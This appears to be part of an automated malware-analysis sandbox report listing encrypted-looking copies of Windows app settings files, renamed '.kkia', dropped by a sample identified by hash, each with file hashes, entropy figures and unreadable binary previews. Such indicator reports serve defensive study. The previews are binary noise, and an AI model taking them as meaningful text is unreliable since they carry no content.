Preview:	regf.z.i.\.t....u...;....o.\..:................].7c..?R...;.O^.I.x....g..z.A([......{..N/...l...g.....`\......;..t.K.I..v.@3...rU#.'...I...O..H........t.d......l..aJ.....Y..8Cze..........R...n.Q,).......S.K=..-x.\kG.aI<.k...A..[.}}.!.&DX.rx...."N....g.C{..Ke......i...kM..(nx..../}...m.........b..B...f...SZ.Z.7Q\|T.O...+..d...8=..c8z..\|..7.....U.^...#)..R3.JW.h...!8$n......P.....G.t..L..&...;f..D................L.pP4..6....j .C.....X.`>..b...!...h.......s.e.}..p.N......T...6....e...Qaen...i.`.1..o.v...o..=p..{.....n...k._oD..w..}z.2K/......Y.#...b.H.......9.....a.]..j.3.4v.*=....F..U...gN.&;.........;...8+..Z..vOy...h.Bj...G.7..1...Y....!.....b..L.K.....B..{(/....;...........v..Q8.0..!..;...T#........O..VG..[.j.7o...0kS..E..N../.=.}o.&...z8...[..Z..n..].+g...3...q?.M$..+.&D..i..p.Ck.:.H....`...-........-.Q.F.0..t....h.x...t.b.1..2.9u..'J.\.k..B.._.k.u......\|..T^..X......T..J....{..].{.%.:.=..yf..[^..G..>j..\}.b..p.C(X-6!...(t~p$Tq.

C:\Users\user\Local Settings\Packages\Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978652907633637
Encrypted:	false
SSDEEP:	192:azDt8L2UPRNOgU0wTma+EtKFWV6sSx7SfGD:rRNlE24UyfGD
MD5:	8E2860C62976D641BFF882D4D5B64AC5
SHA1:	63C3CB375C8048571984B691C8EC8A74DA1165D8
SHA-256:	7652F4E940C93CDBAB81FC18225E7011D46707F2F64457EE750DE44DA626BB21
SHA-512:	0BD622065A21ED2C1399E7909619C1B6031DEA59487FEA0708BFA19C17883C72BA13CA0F97E8709743A8BBFEE8CAC04E3016922A8F1DFB30DC3DA3260C3840CF
Malicious:	false
Preview:	regf.T.3..F.4.;..#.......!.+9..h:..3..iq.\..<..e..Z.If..m....[..u.?.......T$.o....!".P7.....&.R..Oe'....~X)...6..X}$@.Z...=...l...f....f.v.XHT.e.l.:.p.0UWf.o...?1._.... (....#.vX.1.n.1.Y..'...9...Vl8T..7.$..$..../.z...X.X....<..gZX}6.....9...{....1.....O.(q...s}....\j...=.......8...m...o.Xz...L..../..I\|.gA...o..E./"a...J.sU.U...-.....].v1.D..ZF..$D.._......:c2.p..LFJ.....T...!.S.UF......)O...B..!g.S_.W^.j..?R.....\c....Lu."..A.._.(.`...E...k.E..7....)..]}.....XH..H....Z.i.X.A.9d.J.\|..a.sY..,.f..~.....{Zbpb...t..Y........N..}G'..du........!.PDR%....h2..5J....^....;E..0.E..T...!........8..m...M......-#-..J;.?A.PS...!.N..b=.....E..fj..f_..1.k........a.v...M.<o.........k;..q.'. ....9.......N...q.<..\WU.$..JW.T.9....r9.a}...r.'.<3s...s...(.#Y.Mt{.....5..e...\|<.O.$.ZV._....5....uuHUK..l..w.#.?<.&.'{..R.9..6d..7+.D./......vRxu..q.....V...B!(..}...~A..9C.JP.....7b.k.......o..j......9..xS...'P.E..7..TJ.@.:@1K.S..#.y..un."..cEs.*u..#g..@.

C:\Users\user\Local Settings\Packages\Microsoft.WindowsMaps_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979299381285984
Encrypted:	false
SSDEEP:	192:MEPsJWwLY6khQYNpkMCO8MAnS1K1OvdBecACjhxH5pim6:WJWw1vp1MyS1KagcxH5q
MD5:	06D19DAF7A0CA0DDA6AC86B572F37456
SHA1:	6CC8F14FB2582DABE015E66A8065E2B39BA6CB1A
SHA-256:	99B8AB503B5CA0B18A71698AC44E03A214D597DBE38404D87B307E1D2A25463A
SHA-512:	0218B2E757539C5B255B909CB737C49C2030C98884DA32C168125829F4F252ABD2DB63994383F75D876C6B5EEB0C1D14D44AE3D41E16770C67916E356C21C6E2
Malicious:	false
Preview:	regf...}....<....i..........H.v.....l.s....)....8....B....:..-a.....vah.?..p.t....]....\..r...cq.t.......$.1..pYv..Wj..u.N1..... .....D...............2gv.Up..d.......P)e........}.K.../.Cnq.+PM4..&....R..'..a..=s...[c.......x..)Y...7m.#.......y.!vF.....m/.AC..-B...5`.d....[.Ga.l.s6gW.g.i.......6(.T.....]...s..f.U.$k..l.....>\|.D]o....>....}..E.f.....P%....krQ..@.N[.U\.S......o..>.m..i..I.P../..o.tV:..f...b.....}8....\..>....3.....u2......a7k(..1.........]_....K..{.u.3....5J..........\|...$@.g{........G.........a..Z.M....k..u[7.@b.]".3Y.w.}..g(:..:.L.a-`......M..8...\|HR.(#..>...?..U.t.x......=.i.E8.`".#.....Pm...A:G.g.Y.._qL...z..D...[no{.E......w..H...y...Q.F..{...O...._.[SA8..o$...}..[?.....b...o....h?K6.N.I".......`._...p.@9......T.-W.4_........L.....U...]-..=..3.Sx....HG.#.u.....?..=s.$\|Y.t.<..b..>[... .s'....r..w.o>..~+....,{+2.&.{..U6..5...+."..W/......0..6..5q..N.Uw......\UGy3x..R...yE.Xz......[...n...\|...e...2{>C.*.F

C:\Users\user\Local Settings\Packages\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9806926878820255
Encrypted:	false
SSDEEP:	192:dg/1jTCdHmBwlpEQ6DMf+rjHwXzfaBtb1dBe2vYYRHWPdE7KRjKBCRC:a9fXBfSOwX+BtIYgd6KRjrRC
MD5:	F4FC3367A8F0F4A372805B4A569F9670
SHA1:	C6DEF9AD5271AF8623D6D8DA23C44AFA7231F81E
SHA-256:	7CC65E7C8811B329A978D64FE873673A53F3C58F2E5369BE97943F6196FAAAA9
SHA-512:	17B24CC75C13CE3871D70E5ABCCA146544A599B9AFE6121F4A725C05CDAB8EABD67AB215B9253E2993C3C0842B5287A427B344B6B28B1B32E4030E65D6661304
Malicious:	false
Preview:	regf....f.E].y.b....~gH&...'..Kc.3TMng....C.RaX.m...;..>Ws.e.=..W.I....-.......!b.$.{....vm.:&,.2..L.B....d\|E..A5_.,..j.V..-...!....~....qx...wZ....Y.....jv.mJ2...C.%...2J..`%4...l.....%...tM..L^...:.f. .....ub...../..b.O'.D.zP`m4....m.-0(.......H.3......{...:..wT..y..a..X.G..?o....I.P..n`.Xj=(......).P.Dj.#?f....$11u?.....vM.Z.+.j.w_eiP{...!...........9.".O.z...S.~...d.....;[.:..A....)........$7sKY..oa&k...{..P.`..M4.E....3(.....$=6...1.A..r."0..(.........y..i6........".E..q.[.{"........t_O..%...xo...%d.].Tj..[.}`.#.c....K.5..B.Q .3...7.W...'v...m.[t.69....t<[..S..!#..&g..=..:s.@1U.Q.aj....09......yb..........f...Dc B..I@.\...v.]..._G...s..uC.4W)....\...8...H......6fC.PH....{.2"..z.d..N.d..r....T..h#y..~.........l.. ..!.C...Z.p}...."...81M.E/.z..Mr....XA.O.z.T..<.G......V`_....}!#.E.....g.e.7.L.YNra......%...@.......3..(.+C.k...3QX......V\.7.....g...c..W..3.!.._...W.....{t......Sq.+- $.eD.j......1.V.A...2..Y...@.R2.^....@.:'.....E.3B.

C:\Users\user\Local Settings\Packages\Microsoft.Xbox.TCUI_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977664276444967
Encrypted:	false
SSDEEP:	192:ZxIGb5K/EyMJ7On0usXvrpBYdjddeyHARbNBXEckZG:cg5K/QpOnETpsjddiJ/0ckA
MD5:	AD892822FD197589D6FD1787FDB65477
SHA1:	4A9C359B81A2FCCFEAA32BCCFC3CA1C3E8AD9818
SHA-256:	D37F640BC5CD10C305231949F8857420420F463095F60CE80A5DE07CEA3453D7
SHA-512:	2E45CBCC83772E0E138436F5998C754FB96C9F5E524C1DC9F4D53A67051A1D7A0B25E2936DBB387B2E86689C3853C2A81D3B3C3B4752F756549295FB34BFC12D
Malicious:	false
Preview:	regf......I........Vh..uY....S.`....n..f......a......U{.c.A......"J!...y.}.....D.5.b...t{\L.4E......,[..M.3H.>....T.w.=\h....t..8.tf.9.J.cP.'.,...R.B.x;\|...A.......g..h.@..3.....K....6L".R...w.l'.:F.._..]...B.....?.@..(=.........b.9$.G.c.?}.O....;-\8....;....i...0.VM..[..e.......B..\|.'..6...IN12`..h).......s..A.i6....;k...kt9.....HL1.........fia.n..J,@..u{...; ...Jq.....i...F.RS{..]i...{.G.o.yO..!...gH`.U..........u.{.Y.........K.p6...{.R....,P.....r ..N....f7....B......:> V..Q.D......&.q.0K..E.`..:.[..=Q.$.L.myD.o......h..C.x..,.k..\y.B..l.U....A.[G....U.cq...h.V..........n,..Z.,>0N;._g..0.......L.......p._..wB....s..>....._.z...1.yX.z@Y(......B.tu......cc.O.j.Q..R=....S.V..N...Q...&xd..\|..z..F.3.P\..C...!.......,...Ir..\...4...8.~,.....u.9lv.....z...9...Gz...w.$..k............>3...}.kIE....V.u..F.sI'td._3.w(......7...+.r..nZ...c..8....o............q1;....d...>T"....k....&...D.x.&....SG.x#^._.y.]N<S9w.\...q....73...E....o.U....U.

C:\Users\user\Local Settings\Packages\Microsoft.XboxApp_8wekyb3d8bbwe\Settings\settings.dat.LOG1.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975478160736121
Encrypted:	false
SSDEEP:	192:3sU6CPYun/ETnhs5iWSTyHpk/y52mcFid24GItbY:3sUNPt8h+if+O6cmcXFI9Y
MD5:	6DD52AD729AFB1559F052A5360229179
SHA1:	5BB25C1060229CA06537552F81D2E48C7209187A
SHA-256:	D5836E65610232996436A8020E7546A9FBDE7ECCD3DE81DE90C0A93570D09EB0
SHA-512:	43F140C399F9228976CFF0EEE5A12410AAD9E97F7CC7B8A84F626CC57B6262F08C1DA6C188247DF1078EA2FB0071AE73CCBD9FAF5177F0A49FAF31CC1FDFAA0C
Malicious:	false
Preview:	regf..../5.....%...@.....WT[.-..L.( {....?Y.e..D...D..c.t..-..:.q2T.P..I.V2..k....O9.#...U;K.B.Y..S..,.d..:.t.u.m....U.%.K...T...T.;...m.&.m...DW.K. 7fq.~u.z.R..B.......t..GT..G.n$d....6{.N7'....K$..!]..A........../.Q.F.$ +U.!cDM..Q.....Cb...SN..J&.. 4...tI:.[<V.k;y...J....I.&F.....el5._..cE..9<..\.....f../K...2)\.g?57`..1....+Q.U.F41..1..k.X..;?.wo.6.}/.-aY..L..v....@...vn.1#.=cN.).e.x.8y3O.>......8Y..5..7}.+.t..h.....o4c#`J....d#o..?.?;...!.z....,R.>...1.j7C.)....V[..U..B ........?>3.bg....<...f4.?B`n........1...7.E..h.H.y..B....us.\s..q............t.F}.....5...8qc...U.d......l...w..H.(...Rn.\e._..zn.....K..&K.=..4.l+.V.S.M.1..S.......@/.f......A.'.3.gB[9.e.,....u{].....Jb>?d%\|..P8d..j..*...i+...y...I....w..+9oW..13..\...,+.7#b..4n&.x........8..H.....t\J.=....7W...^.."...N...ZAxwY.oO.......:..7..C.J..o...k~.B"\.L..M.f..^e.e......I.G..u{`.3........p.k.<A.7JE.U..%.....<.S......(E.m,..!...R.\|.O.c.P..(c4u.1E.I{.{...P..uH.H....w..taa.5.

C:\Users\user\Local Settings\Packages\Microsoft.XboxApp_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.981357878952361
Encrypted:	false
SSDEEP:	192:4D0U+iSeXDmaO15q7ybW/PmCRBP+VnBb/cAVnOJ7:4DZ+kDmaOiaW/Pm8UBb/1OJ7
MD5:	8F1AE062C0036287207EBFB87B632F49
SHA1:	8992B990569A46BC16CCCB8BB3CE0DB3E51ECA73
SHA-256:	679A1A5BB86E3DACDA108ABE7F9F2D2BE2026C28657CDFD1D656CC5E18415E00
SHA-512:	871F5A1E4C8C550B4973C0BDF8A07E89680E9211093B7332C20ECE04D30A5D372098E03F62CE0E759BF1A54D07AE9AEC3E5EBA774827358901FEF45252BC5C25
Malicious:	false
Preview:	regf....\.).gA}...;-:?n..<..\.....V..O4.E1..K..u.]L....v......N...1r...?..?}...rR..^..s..A.w.L..../.M.!u...!B.e.3..~DP....#r.,K'./.....a~...2....M.7.}..R.1.........?....P.k^..l.3..Xe...i..X~..;....{.w..y.R.r".t.w..l.;l...\.D.?l[..v.3w..m...).).F.l).(...[..<lS..t......_..B.ti...."....\#.d...Bm.1.DAF(..?..,...H....j.. .Z.!4.#...!....a..)l.D..}...n.....U0..0.`...o.NH..\|..k.m....+..P5:.n..{.$.!..(...J...M...9[PD...T..m...9y.E..`.l.[.H;$.G..N.c.d.i.+.h....Hr%..)...T}a....T..<..{_p.<t.h.X......1..T4..Loy.b\|.0,..0...5:....>..=E..n8...... X..-.q.u.:....l.%0.w.;..M.........).....@....O...Q#....M..`.K.......~.......t)..sb.:.Lz....bD..a......pXX.Q[:....y..x'..Jn..1..u..V].`....dd.K...w...y.K..2.C.....q.D2\..ds.....U</...f...,A...f..5.G..<...Z..G.>...=L..%.m.g...2'..-..#......'...=&.A....v.....?.3zT....{.l.......uN.X.....c.G.Z..Gg. ...L.!.Z.4_....7fkr/.....y.e....B.........I..9...m.....5-J8.+$.y.5..V.^..I_.@:_.--.E{.<H..%g2T.....y...9...$....J..e,..j.m

C:\Users\user\Local Settings\Packages\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97869332520368
Encrypted:	false
SSDEEP:	192:ZnrmOqBQddH3tm4HcpJK1OUA9WBzXdaH8mJLLSyi77T:ZynBQHH3tmGcy1OEBh5uLavT
MD5:	5806E0153BF00F42BDFB84C590F115AE
SHA1:	73075D4E71AE65494ED0F0F0DE2089930C4BB946
SHA-256:	4EC1170FD049350E4D1BC0DEA5CC5CD506E1E663FB5662A4CDFDFD9B1185D547
SHA-512:	EF3215A576E6514A8263BC8FBCE1336097EF9F58F63B13AF980A3C8834042AA8A636A7DFF9F011D53A1B62AABF8B660B4EB0A397E793CF0D33F222FBEF0978DF
Malicious:	false
Preview:	regf.g.._g...!i.....9.......t......W..Q.B.ZK...)..SE.1...J0~...&.v..L^$.%.}....B.}4...j...H.G..yXB.d..d.$&/.....M.......'...)Q.S.7..R........:S...p[CF^.T..x..f..(a.. .-EY...6z!.x@..?.B......(.>.N.`....Vwx.p~.g.....b.Y..w.m5g....;`4..y}.sM.P.......$ Z..T.....D...T.g....i.y....{..F...p....W....."3.g.h.(.2.....~.Ojzhur7..J....V.q ..L.....W...p.[._}.+M.hy....a.)j.A0s)..v_.w.......64X...{k.....{....P..;.r%.../.b...72%............J..4F..r.......).S.)...d\|y.......y.J.q.6..m.A.E....a.....a.S4>.e..O6..2.6.im.W.=.<.....L}..N.?y./..@65C...l.....stD...SM8.h.....B&...pD9....J._G.f..\..s.63..6t...Z...G.'.7.".~;...c.D3.D.mZU#..\.6..........O.nl.....c.....:....Gt.X...k...27.......6...u4@\>....D.$V0x.....e"..6.W\|\..........=2W..{.W..-O.v[a..Z...;..P........h..\|D....y.._..F..i5...h.[..4.P..?uX.XK..\Y.!.~e.>n....q^....A.rTPC.......G..j...0...p.......L...t>..b.....Cu..vS,~..;G.$.....s.^J.6(q.=8.$}%....%eMl....&..U4O.7w..+.m.8@. f..w.....W;..g.E..6M.

C:\Users\user\Local Settings\Packages\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980377410338373
Encrypted:	false
SSDEEP:	192:smWOONb7tooJHC+z7sV5Zn//uj/Jl4RCHiOvvNjXjeS23sYGkW:gNbPZz4VXnudl4Rh8Xjf2cYzW
MD5:	0979D0373D326F8500D8777936237D46
SHA1:	0F2ED85C6A52279125EBB35008F4F6D5B97C221C
SHA-256:	E968E9956C82FB509C71C80F63CDF2086E18E554416DE775C5A73414E97BA8A5
SHA-512:	62F89BE70826006D1A5333D14252D02E062D7B24DD181461E5806F9B3E349A05282DAA0E7CE79E44FB74447EA57CCBEE00CD82E3ADA061D812F213B05C8F3C89
Malicious:	false
Preview:	regf...........<.........kNX..t..g.S<.Y...m..;..i..Iy..J...^..3A?Z..Y.@2.....F..n.5.>.d.....M..BY.Q(..!....Cy..BZ...&U.V..U...aVR.{..'..6G.".."8..M....G..Oa^0}..:.........=.o..1......;.....^t..pR..>`.@...M.fg>.WJW...(.^...i.SP.\|a..x...a..^O7.p...X....SaU..B..\C(..;.#.t.5....'gT..~....Tf.!..{....t....o4....G..g.\.e.R..s6...2#..(......,....~r#^..EV.H5o.4kb..........:.C......d..U.^f..;Bt.+J}.9ft...@..f..,..p,>.i..WN.\.C.}>...'.[.....'.:}...Q....4XA.U..%.f..1.w?.........(."E#t..I.k...%..F].....R=..Brw.....%...P.&.j.X...&...K..e.@{.....+....5...x.^.0cZ.=....>`.E".`..5...PB._e.P..n1.;..X.&]5=Ea..-.....i{..TD.)..<V...K....I=m..s.4vw...l..l.CTTa:;.._4RB". .@....~\|......).X.L..0.../.$.j.E.P.....y9*...J}S:......+.....8...z.'.s.Q........;...>._.!(@6.`..7....r.O.....?C.d..a..T....W...Ao(.7f.f.7.qE..w..R..3..........%......fy...P....XM.P.oC~.Y..7.....=.y..8..c.5f....:.cU."7e.H.6......?A...x<.,.L>.t.y...^S.<u.....D.....dn..p......S..`..y&8H

C:\Users\user\Local Settings\Packages\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976304754715148
Encrypted:	false
SSDEEP:	192:V3ADYE7as9hxlGrP8YERw8OfyH9hC5t8Yva9:5Ak43lgP5Uw3fydhC5t8YC9
MD5:	A78C5AB817CF091BF36082214DB75E57
SHA1:	AFE3FB958CBEE113EC6CC487C43F93584B59FD03
SHA-256:	F90E8A57E110C4C6786468C1DC3CB6D504BDB70D3AB225F25EC30F83650D02BD
SHA-512:	FEA53ABCCB86579FA7F9D95987F7AF5D9F3CA255857A4B6926C0E57CFEEBE8E53F5CC0F271564D7C98996F770F7F5635AAAA6206C854803D89B6DBAA579F5B6E
Malicious:	false
Preview:	regf.q36.L..[Q......Z..+..B........3p.Qp.....+.....'....D..6..3.QuG..........!...)t......r.\.p..._.8.k.w#k.=.&u.$..;.k6./..DU.Z..(..B.~........(....LS.[.....J.....e.G.Y1...zB;.r...(....U.O#..8...B.<+9<.%.......#..l......%....Z...A....s.q7T,.gZvG1.......w...AA.E...&\|...1.y.o..T.x.i^.....p...Co.K.n..=u[z...;.D..f.x.r.[t.r%8k![M.%\|..'.U\..v.$.P.........C.r.b_........w......y..a...q_.a.[C.44._w. Ts./.U..2.]...+...W...C_..........&G...P...z....O.....I..S.7J...z...#,.;.+.\.G...F#&.....##E..9..>.g.Q3..@G_.`n.9~........{.$H.?\.}%Ic.3.Q.....A..:.8...Z.X.KAS....DD2{..$....U....r.1.8.$....I.I.c-.t..(....Ik.E...N'...V.^.......\|W..o[[.......A....ql!v{i....A\|.a.,(*.}...N..cB.u..K....c........E.......\|/w...u.g.W.#.~UP<}z$...M.)...L!B.. ."........yy...N.....?.....B...i.OFT.h.VM....Z".cL..5k? \|......@..%.n...)..y.?}N..c...{.4.......]S..N"...{8.a..d.7.-.......F.k...$.....Y,..y=..8....2...._.z..N...EB....$.!...x .B.R....._...SuM@o.q\|..^.'V...9z.Q...\|..n.,u

C:\Users\user\Local Settings\Packages\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976735487350228
Encrypted:	false
SSDEEP:	192:vWXQLvEYAb7veD4JmeNTLdQV9Cgs6mWB9InQ5yBrJYQwY:vWXIHs/MeNdQV97mWBdmrWg
MD5:	38AB21C49CEA00FCD642A3AA36435D33
SHA1:	9FB64F649833A1BDD093FD8F32FC8A62453B9640
SHA-256:	4FEE724261CE90987DA7A236F0C5BBB40E542B273AB00EE71ED73B6B545437C4
SHA-512:	0DA4BBA76B71200EACCDC8236567CE705E2E9E3251F98BEACA5726A0C553AB9447BEFC61BA20E6E8C693D367548618AB11D76C0301DC962C0EDDA7D4027D7BE2
Malicious:	false
Preview:	regf..d&}.{.'...j..+.Q..@..;.A[-x.)=...d.\|!...#.r.L.n.w...V.Z[.......x..PO[...C.....xk}..F...p1..F...._.:%U\|...!.Uu#~..5......-0..>...3..o:(5M.....Q.....:....4...E...p.%l.3Y.s..........@a.l......5.b........_.....%..y....8....T2.\|G.fZ........6...^/..s.....A.G2r...h`b..[...\|.-]2...sEZ.....P.w.l.g.....n..i$.....^.t.....c.x9..}+^(.(..H,.;G...G...z..C..Nw.. .B..w.P.&..[.y.(..\|.FYR. ..%.3.u.....s..\i.....%lo.eq.<v...Z.+B..[....p.....?\|%..M..N..Un.Z......H8..04Q.G..-';k.Yj.f..f.1.^.XVN......$.....B.....c.x`...<..`T...3%..._.....<..'.....^%72.\|t..n"...#..<..!K.F.k.0fUd.>.I..M....j9w............gT.....4...E..n.5P...i..`.)...i....*...C@N..9.L....LOO[...j."_.}.......I.q........ .....{....1.......;..W8> ..o.x+.P..9.3gG..wI..y.DK..@...s..Y.rcr..wN....W...,.....o<...e.N?z...3..0 .SH.....b...8y.q;SX.j.....\|/......)"..g......E.H......7..).8]..l.Z1..R..xT..J.7H..g9.....17.l....P.J...<.f.C.,...PA.....fw.+.})i......VCuG..;..Z....GB..}......].:.

C:\Users\user\Local Settings\Packages\Microsoft.YourPhone_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975287879488723
Encrypted:	false
SSDEEP:	192:sHmJr6ulc9795Ii6nZiicRbSIYU722Of1A1lT08:dP85IcSpRfST08
MD5:	66BE3523B67166C0D0046DD3B0488154
SHA1:	D6182ACD3D3418D7866C9F0F30F4110293E343E6
SHA-256:	590C19ABFF939266CDEC44061DCD16DB8AE783D4E955FBB8084A6DDFC5B0D2E0
SHA-512:	D77C1210C4E79113E712BB0181E4FBDC30DC604578950D171ADC97EB6EE464A461F2A492189F6D1787D1961023E930BA3E166B0EB1021B19FE9C8FB56F5750F2
Malicious:	false
Preview:	regf....K...:P....e.z.D.x...}Y...ej6...b-...1`...... .,..br.K..$..6.i.J...9.u.I.....=.'DE.?.\|:Qf..v..:......l.Z.I6K(.5,...\|...!...z.....M....]$%Nf..a...w'xe.]..MwO.Q...B..]J..l.g.c....)V...v.C.....B.RG...^.Nf...0.>?3c...,.s......KE..(.....\|.v..p....8..y{c.......-$..&.D.ybB...hf...{I..'..5}.H..Au .....9....$..]$>B. ..R#.A<...7..?.i.L.#H(t.r.G.."......V..Q.z.e<9q../#D..h#6...V..L...z.u.7'.j@ .{>...ee.T.....^Bh.:GB.&....Wz..../.j...I...)...6U2......F~....g....'.:.Z.9Vy.........P(.;d..L.....u..*=\|$.}.aW;...+.l..y.m.1..,....+.J..G\..W..L.?...U.sB.<.b.dp;L......:...k.P.......`.u....v.00.+...kML.(u..%..<.@6..I1f.P{.Az.h.z:.vp...)..3..X....":.X.....w.\...@.iP_.e.e.y.;[.1.?I,(.s.$..QY,.5.C6...5.j...Q..m.....u...Jx.....i.....:..p=i.zo...Wk.>......Qd./.1.}..24;.E.)..V......`......1.. Jh..W?.e...]9p..iKKl...w#jk>...t.. ...N[..+@.E....i...0.t.Z.v...........m.#...=..Y..4j ..h.....s..{+..w....fxc.C,c<.W.....:\|k....j.:t1..\|d...y... .l.(".

C:\Users\user\Local Settings\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979663414116154
Encrypted:	false
SSDEEP:	192:oWQ894DBN3xTwTF5HcbBazyXCjZFKsiKmK1c2V7SW3CrrDNHJwbA1ctcYS:oWf94Df3iTF5HckzIgsCZu+wCbA1cvS
MD5:	4F8B5C882D7F5337420BFD642E068078
SHA1:	E340C1517CE1E7CC75603703E4CA690786824110
SHA-256:	311738AAF9ECCE2C5D21BF57BDD8AB7D8BAE19F164610834F5DFE589B3570C66
SHA-512:	B7F9C388519BFF29507964C81A699076204FB52C77C5F6F1D9A8B00FF3A1B5B659C4A9F536C47210E8E87B3ED1DEFFC9385FB6390E435D4F938E9EB34F399A7E
Malicious:	false
Preview:	regf..Z...k\..../..{....Its..s.....0..Uk.>...,zB.....~...l.Dt...[....P.4......#.,V..q,.a..[A..k!..%.z"v.M`.....o.........A.......@Ijj...g....>....D.C...>.J/..z..;J...EP.F...t...c+.M..>.KG.^...ni..S..%.x.........9.wg.-.......a!.Z..GT-f...n.S./F..S@...9#P...z....S..V..c.......~....;.......VE.`\G$..fd..(~.t...i..].......+x...C..=.Kj}...hS...4..[^XB ..9S&.....O[v%..s,....8....2..zb.Q..h.5N.8.4..k ...g.k....G_...r......%X0..m0..{.....f ....{:....g?.H/%...O.....Pq......E...\_..w.[]..o6.1R....Y.6~bu...=:l...P.'c..9/..wYX...YQ.KR.Z`..u.}.#&.1.b...P.l..s.\|~.......q^q......a...z.)h...v...H.....%..-O(R&V......7..J...g^ Yo.L./x@.j.x&9.h...-.=..;.ONt..Xz.U...._]-<..h..`~.fLvj.Y.qD..h.......)..q.v..\|j........S..B(.Y.....(.....^..f...L...}..b.......A.4"}.C....Ab...$}...2.v..:i_.-...m.V..S.u..... p.n.\]Kg.:...y5.E..\?nR..c*...e..G..MB.....j..6._1..Y..s..0y+b..Z..QM..A=.......A.N....N..'.u..g<\......[..G...B...m..mk1....5...`.l......JV...#..L.X..L~.l]

C:\Users\user\Local Settings\Packages\Microsoft.ZuneVideo_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97767917045846
Encrypted:	false
SSDEEP:	192:AHjbkpNBYBHp68ogmr6bhrfnho5uXoUQNg4hxvPIQ3Nqe+ZeYlD:WkpQUyvqiQNgyxvPZbZgD
MD5:	8702122769CC1D136A9546058E875606
SHA1:	306CD01527B4DCF5E1C32700DC26C376639C67F1
SHA-256:	1CE1C5B525C294341CC19ABE9EA040DEE3AEA07B2E9B1420A11D935526E90DA0
SHA-512:	06C9517212696D0FDB8F42F3E4734A12D5DF20560A406C3DEBB334D0E5E40CAF2D980BC305F3177DC2F6975A59526F7E5F078E26A2A7DF768FD1728D8F3B9E73
Malicious:	false
